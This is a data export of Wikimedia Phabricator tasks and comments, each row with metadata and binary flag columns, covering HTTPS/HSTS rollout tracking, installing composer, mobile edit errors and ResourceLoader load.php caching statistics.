+486707,Install composer on tools-login,There's an package in debian-unstable: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=714118,,,1436094221,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+486705,Install composer on tools-login,Is there a Debian package for it?,,,1436093816,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+104681,HTTPS Plans (tracking / high-level info),"Some of the information out there about where we are and where we're going is a bit disparate and lost in the noise of many separate Tasks and impending gerrit commits.  This is an attempt to bring together a coherent view of the current state of things, the next upcoming steps, etc.  If you know information that isn't here (missing Task refs, etc) please feel free to correct it!  The Description here will evolve as we go, use comments to discuss, etc.
+
+ - **Definitions**
+    - Canonical domains: wikipedia.org, wikimedia.org, wiktionary.org, wikiquote.org, wikibooks.org, wikisource.org, wikinews.org, wikiversity.org, wikidata.org, wikivoyage.org, wikimediafoundation.org, mediawiki.org, wmfusercontent.org, w.wiki.
+    - Non-canonical domains: Anything not in the list above.  These are generally redirect-only domains such as `wikimedia.ee`, `wikizpravy.cz`, `wikimediacommons.jp.net`, etc
+    - Traffic Clusters: These are the `text`, `upload`, and `misc` traffic clusters which do standardized TLS termination for the bulk of all our HTTP[S] traffic to all of our domainnames.
+    - One-off Services: These are individual internet-facing HTTP[S] services which are **not** terminated by one of the standard traffic clusters above and run their own independently-configured internet-facing server software (e.g. nginx or apache).  They are in our control and hosted in our datacenters.
+    - Third-party: These are HTTPS[S] service hostnames in our canonical domains which are hosted by a 3rd-party service for us.
+
+- **Current State of Affairs - HTTPS, Redirects, and HSTS**
+  - Our desired state is:
+    - Modern TLS (v1.2, FS/AEAD ciphers enabled, sane ordering, no publicly-known TLS flaws)
+    - HTTP: 301 redirect of GET/HEAD to HTTPS, 403 denial of other methods.
+    - HSTS with 1yr duration, preload, includeSub
+    - All canonical domains (not individual service hostnames) submitted to the Chromium preload lists
+  - Outstanding Exceptions:
+    - Non-canonical domains (all are currently serviced by our Traffic Clusters): No valid certificates.  Task to move these to a separate service with LetsEncrypt certs: T133548
+    - Third-party: store.wikimedia.org HSTS issues - T128559
+
+- ** Current State of Affairs - Crypto Compatibility vs Security Tradeoffs **
+  - Dashboard for negotiated ciphers: https://grafana.wikimedia.org/#/dashboard/db/tls-ciphers
+  - As a general rule, none of our HTTPS endpoints should support SSLv2 or SSLv3.  I don't believe there are any exceptions to this today.  The only client browser anyone cares much about which lacks TLSv1.0 (or higher) support and is blocked by this is IE6 on Windows XP (which, due to our redirects and lack of SSLv3 support, cannot access our HTTPS-redirected sites at all anymore).
+  - We maintain [[ https://phabricator.wikimedia.org/diffusion/OPUP/browse/production/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb | explicit ciphersuite lists in our puppet repo ]] that are intended to be shared by all TLS termination software for all cases.  There are three choices a site/service can choose from at this time: strong, mid, and compat. 
+ See that file for the evolving details",Medium,50.0,1435899522,1584557649.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-qj2snyczfdknddcdqa7f,task_description,resolved,True,c3,3,True,True,False,0,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+1466724,HTTPS Plans (tracking / high-level info),"Resolving this, since it has become an undead tracker for too long.  There are still two trailing issues, but having this over-arching tracking task above them isn't accomplishing anything:
+
+T133548 - Create a secure redirect service for large count of non-canonical / junk domains - The various sub-tickets here have had lots of progress recently, and we're nearly to the finish-line for handling all non-canonicals, and this is all still on-track to complete.
+T128559 - store.wikimedia.org HTTPS issues - HSTS still lacks preload/includesub, but after being unable to fix one header for 4 years here, I don't know if this will ever be fixed.",,,1584557649,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,245,True,1,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+891650,HTTPS Plans (tracking / high-level info),"So with these changes and cleanups in the past few weeks, we're basically down to two outstanding issues here from the original context:
+
+* T133548 - Create a secure redirect service for large count of non-canonical / junk domains - Still relevant, there's some subtasks underneath about LE scaling, hoping to close this out in the latter half of 2017
+* T128559 - store.wikimedia.org HTTPS issues - Still outstanding on the HSTS issue here, no response lately...",,,1499793265,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,105,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+882525,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all public-facing production things that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.
+
+Remaining open tasks directly linked into here which need work before this closes:
+* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
+** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
+** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
+* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017
+* T168919  `stream.wikimedia.org: remove legacy rcstream/socket.io HTTPS redirect hole punches` - Relevant and newly-added (was missing)
+
+Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
+* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
+* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498519216,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+882522,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all public-facing production things that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.
+
+Remaining open tasks directly linked into here which need work before this closes:
+* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
+** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
+** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
+* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017
+
+Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
+* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
+* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498518868,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+882520,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all things public-facing that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.
+
+Remaining open tasks directly linked into here which need work before this closes:
+* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
+** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
+** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
+* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017
+
+Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
+* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
+* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498518568,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+882516,HTTPS Plans (tracking / high-level info),"The original point of this (now ~2 years old) tracking task was to track the very long tail of known but relatively-minor issues preventing us from reaching a full transition to modern HTTPS-only for all things public-facing that the Foundation has control over, in the wake the transition for our major public hostnames announced in https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ .  This ticket has a danger of becoming an undead meta-task as more sub-tasks might topically accrete to it over time.  It's not intended to replace the idea of a tag or a workboard column, after all, and we have such a thing in the TLS column of the #Traffic workboard for tracking all other ongoing TLS improvements.  The remaining set of valid open tasks is fairly small at this point and a few of them are near closing, so we're going to try to wind this ticket down completely over the next several months, and I'm going to unlink a few on categorical grounds today.
+
+Remaining open tasks directly linked into here which need work before this closes:
+* T132521 `Enforce HTTPS+HSTS on remaining one-off sites in wikimedia.org that don't use standard cache cluster termination` - still valid due to a couple of relevant subtasks:
+** T128559 `store.wikimedia.org HTTPS issues` - Still outstanding on the HSTS issue here
+** T137161 `Fix nits in HTTPS/HSTS configs in externally-hosted fundraising domains` - Looks due to close any day now, hopefully
+* T133548 `Create a secure redirect service for large count of non-canonical / junk domains` - Still relevant, hoping to close this out in the latter half of 2017
+
+Stuff I'm unlinking today as categorically inappropriate or unnecessary in the view of the original transition's long tail:
+* T92002 `implement Public Key Pinning (HPKP) for Wikimedia domains` - Unlinking, this is just a general improvement we'd like to have, but not required to close this IMHO (similar to other issues like CAA support, etc)
+* T148131 `Deploy redundant unified certs` - Unlinking, again this is a general improvement (and complete other than documentation), not a requirement of finishing the original transition.
+* T153563 `Consider switching to HTTPS for Wikidata query service links` - Unlinking, as this is categorically an application-layer issue, and WDQS's actual basic TLS termination is standard and acceptable.",,,1498518383,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,103,True,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+498400,HTTPS Plans (tracking / high-level info),"I think that's mostly about agl special-casing exemptions to the list of rules for automatic inclusion to the master list in git (the ones about restrictions on implementation details), not about accelerating the process for getting the updated list into browsers faster.  The list gets fairly regularly batch-updated in git, and then I imagine that factors into merging into release branches for Chrom(e|ium) or pulls into remote release branches for FF/IE/Safari at regular intervals.  agl actually checks and commits the list updates himself, I'm sure he's noticed our submission if that has any bearing on anything :)",,,1438108546,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+498390,HTTPS Plans (tracking / high-level info),"> submitted to the Chromium HSTS Preload list
+
+The Chromium project indicates that they are willing to special-case certain requests, and that petitioners should write to Adam Langley <agl@google.com>. Maybe they could accelerate our inclusion in the list?",,,1438107181,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+487132,HTTPS Plans (tracking / high-level info),"
+Notable changes today:
+Switch to compat-dhe: T104281 - pending gerrit commit to switch: https://gerrit.wikimedia.org/r/#/c/222023/ . Probably going out today (July 6).
+Dashboard for negotiated protocols/ciphers: https://tessera.wikimedia.org/dashboards/6/tls",,,1436195318,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qj2snyczfdknddcdqa7f,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+104594,Spike: Why are anonymous users hitting 'http' errors when they edit in MobileFrontend?,"Probably 2hrs of investigation / and updating the code to provide further information will shed light on this issue.
+",Medium,50.0,1435857674,1595603246.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-wyftsr52xethghhn62pd,task_description,declined,True,c3,3,True,True,False,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+1550592,Spike: Why are anonymous users hitting 'http' errors when they edit in MobileFrontend?,I asked this question when web was maintaining the editor. I have no idea if these errors are still occurring (I hope not :)),,,1595603246,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wyftsr52xethghhn62pd,task_subcomment,,True,c3,3,True,,,264,True,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+104277,Collect HTTP statistics about load.php requests,"In order to better understand how well ResourceLoader is performing, and to measure the impact of deployments and trends over time, I'd like to request we continuously aggregate metrics for load.php requests.
+
+Specifically, requests and responses from Varnish to `/w/load.php` on all wiki domains (e.g. `en.wikipedia.org/w/load.php?...`).
+
+* Total count of load.php requests per minute.
+* Broken down by label(s):
+ * Response http status code (e.g. HTTP 200, 304, or 500).
+ * Whether request had a If-None-Match header.
+* Response byte size of HTTP 200 responses (Content-Length).
+
+Use case is to be able to continuously answer the below questions. (e.g. in Grafana or elsewhere, showing trends and correlation to deployment events.)
+
+* How many (absolute number) requests were there to load.php globally per minute at any given time? (req.all.count)
+* How is the average response size per request changing? (resp.content-length)
+* What percentage of clients actually had a local cache for the request? (req.if-none-match.count) 
+* What was the ratio between responses being cache hits and cache misses? (resp.http-200.count, resp.http-304.count)",Medium,50.0,1435625511,1438030878.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-brymhbvob4xgvfbkxc7p,task_description,resolved,True,c3,2,True,True,True,-1,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+490918,Collect HTTP statistics about load.php requests,">>! In T104277#1448583, @Catrope wrote:
+>>>! In T104277#1448481, @Krinkle wrote:
+>> [..] these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume  [..]
+> Wouldn't you have to [..]. if we collect data on whether INM requests are short or long (using `&version=` as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.
+
+Yeah, I knew I was taking a risk trying to approximate. We're saying the same thing though about using ""version"" to divide incoming requests.
+
+>> Responses to clients without a primed cache (HTTP 200)
+> That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache. 
+
+Thanks. I mixed up INM requests and HTTP 200 responses.
+
+>>! In T104277#1448677, @ori wrote:
+> This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at minutiae.
+
+HTTP2/SPDY does open new doors, but it's not that different in practice. I'd love to prove my feeling wrong. But we still have the same underlying primitives as before (INM/304). Batching seems to be the main difference here, which is relatively simple to disable in ResourceLoader.
+
+It's the primitives that worry me. We've got low hanging fruit in our cache handling which is hurting SPDY and non-SPDY alike. Resources have a short expiry, roll over quickly (lack of versioning; T96797), long expiry rolls over too (due to trashing; T104950; T102578), both cause resources to be frequently rebuild.
+
+The MobileFrontend less/css style module, for example, is built 50x every minute. That's all wiki/lang combinations rolling over continuously at 5min intervals. Each mobile style takes 250ms to compile in Lessc. They're part of a user-facing request that contains other stuff too. That's a big synchronous hit for mobile page views.
+
+SPDY already removes slow-start for each connection, and it puts text, static and load.php requests in a shared connection. The various load.php requests on a single page are also shared.
+
+I'm skeptical about additional SPDY gains if we split up further. Server-side it will reduce cache fragmentation, but client-side it could make no difference. We already store modules separately in local cache (in localStorage by module-version, or soon in CacheStorage by url; T101732). This is superior to 304 roundtrips because local cache has no latency and isn't subject to intermittent connectivity issues.
+
+So the area left is cache misses. I hope SPDY can help there. Is there a difference between loading 1 large request or 10 smaller ones in parallel? (assuming both are Varnish hits). In theory it may get more bandwidth using separate connections, except SPDY is about sharing the same connection. I agree batching seems redundant and disabling it would allow us to use native HTTP local cache; But is it harmful as-is?
+
+Either way, these are mere guesses without data. I agree we must try disable batching, absolutely. Even if not harmful, it's redundant and we should let native handle it. But that feels more like technical debt than a current performance gain. We should prioritise and focus one thing at a time. I think it'd be more beneficial for everyone (incl. SPDY) to resolve T96797 and T104950 first.
+
+I feel there's limited benefits waiting for us in SPDY– besides the obvious benefits of using it for our existing requests, which we already do. We saw the positive impact SPDY made in NavTiming metrics as result of enabling HTTPS everywhere. Around June 16th, median **pageLoadTime went down from 2.0s to 1.6s. And p95 mean from 13s to 10s**.
+
+The browsers' pre-fetcher can do next to nothing right now because load requests are not inlined, they're not discoverable. That's an artefact of needing live versions, live dependency resolution, ordering, and de-duplication. I expect optimising for the pre-fetcher will give us a notable speed gain.
+
+Perhaps we can brainstorm in Mexico and SF coming weeks about a radically different design for ResourceLoader with the explicit goal to support inlining of requests as proper script tags. Let's find a way to make that work. We'd also un-batch them, and use `async` on the elements.
+
+However this will require fundamentally changing the underlying OutputPage interface and registry model. I suspect it will also require ESI. (And a fallback for third-parties as post-processing step atop file cache.)",,,1436805174,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+490821,Collect HTTP statistics about load.php requests,">>! In T104277#1448583, @Catrope wrote:
+>>>! In T104277#1448481, @Krinkle wrote:
+>> [..] these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume  [..]
+> Wouldn't you have to [..]. if we collect data on whether INM requests are short or long (using `&version=` as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.
+
+Yeah, I knew I was taking a risk trying to approximate. We're saying the same thing though about using ""version"" to divide incoming requests.
+
+>> Responses to clients without a primed cache (HTTP 200)
+> That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache. 
+
+Thanks. I mixed up INM requests with HTTP 200 responses. Further down I used the correct INM statistic instead.
+
+>>! In T104277#1448677, @ori wrote:
+> This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at minutiae.
+
+HTTP2/SPDY does open new doors, but it's not different in practice. I'd love to prove my feeling wrong. But we still have the same underlying primitives as before (INM/304). Batching seems to be the main difference here, which is relatively simple to disable in ResourceLoader.
+
+It's the primitives that worry me. We've got low hanging fruit in our cache handling which is hurting SPDY and non-SPDY alike. Resources have a short expiry and roll over quickly (lack of versioning; T96797), long expiry rolls over too (due to trashing; T104950; T102578), both cause resources to be frequently rebuild.
+
+The MobileFrontend less/css style module, for example, is built 50x every minute. That's all wiki/lang combinations rolling over continuously at 5min intervals. Each mobile style takes 250ms to compile in Lessc. They're part of a user-facing request that contains other stuff too. That's a big synchronous hit for mobile page views.
+
+SPDY already removes slow-start for each connection, and it puts text, static and load.php requests in a shared connection. The various load.php requests on a single page are also shared.
+
+I'm skeptical about additional SPDY gains if we split up further. Server-side it will reduce cache fragmentation, but client-side it could make no difference. We already store modules separately in local cache (in localStorage by module-version, or soon in CacheStorage by url). This is superior to 304 roundtrips because local cache has no latency and isn't subject to intermittent connectivity issues.
+
+So the area left is cache misses. I wonder if SPDY can help there. Is there a difference between loading 1 large request or 10 smaller ones in parallel? (assuming both are Varnish hits). In theory it may get more bandwidth using separate connections, except SPDY is about sharing the same connection. I agree batching seems redundant and disabling it would allow us to use native HTTP local cache; But is it harmful?
+
+Either way, these are mere guesses without data. I agree we must try, absolutely. Even if not harmful, it's redundant and we should let native handle it. But that feels more like technical debt than a current performance gain. We should prioritise and focus one thing at a time. I think it'd be more beneficial for everyone (incl. SPDY) to resolve T96797 and T104950 first.
+
+I feel there's limited benefits waiting for us in SPDY– besides the obvious benefits of using it for our existing requests, which we already do. We saw the positive impact SPDY made in NavTiming metrics as result of enabling HTTPS everywhere.
+
+Also note that the browsers' pre-fetcher can do next to nothing right now because load requests are not inlined, they're not discoverable. That's an artefact of needing live versions, live dependency resolution, ordering, and de-duplication. I expect optimising for the pre-fetcher will give us a notable speed gain.
+
+Perhaps we can brainstorm in Mexico and SF coming weeks about a potentially entirely different model for ResourceLoader with the explicit design goal in mind to allow inlining of requests as proper script tags. And fine a way to make that work. As part of that we can also un-batch them. And use `async` on the scripts.
+
+However this will require fundamentally changing the underlying OutputPage interface and registry model. I suspect it will also require ESI. (And a fallback for third-parties as post-processing step atop file cache.)",,,1436794081,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+490729,Collect HTTP statistics about load.php requests,"This is all well and good, but I worry that digging any deeper into the caching behavior of ResourceLoader would be academic and impractical. The question we're answering seems to be: ""is ResourceLoader doing what we expect it to do?"". The question we ought to answer, in my opinion, is ""what //should// ResourceLoader do?"". Since about a month ago, some four-fifths of all client connections are using a protocol that barely existed when ResourceLoader was created, and which ResourceLoader was not designed to exploit. A lot of the work ResourceLoader is doing (like batching requests, generating combined CSS/JS payloads, inlining interface images) is now actively harmful to the majority of clients. I encourage you to think bigger and to resist the temptation to spend too much time squinting at 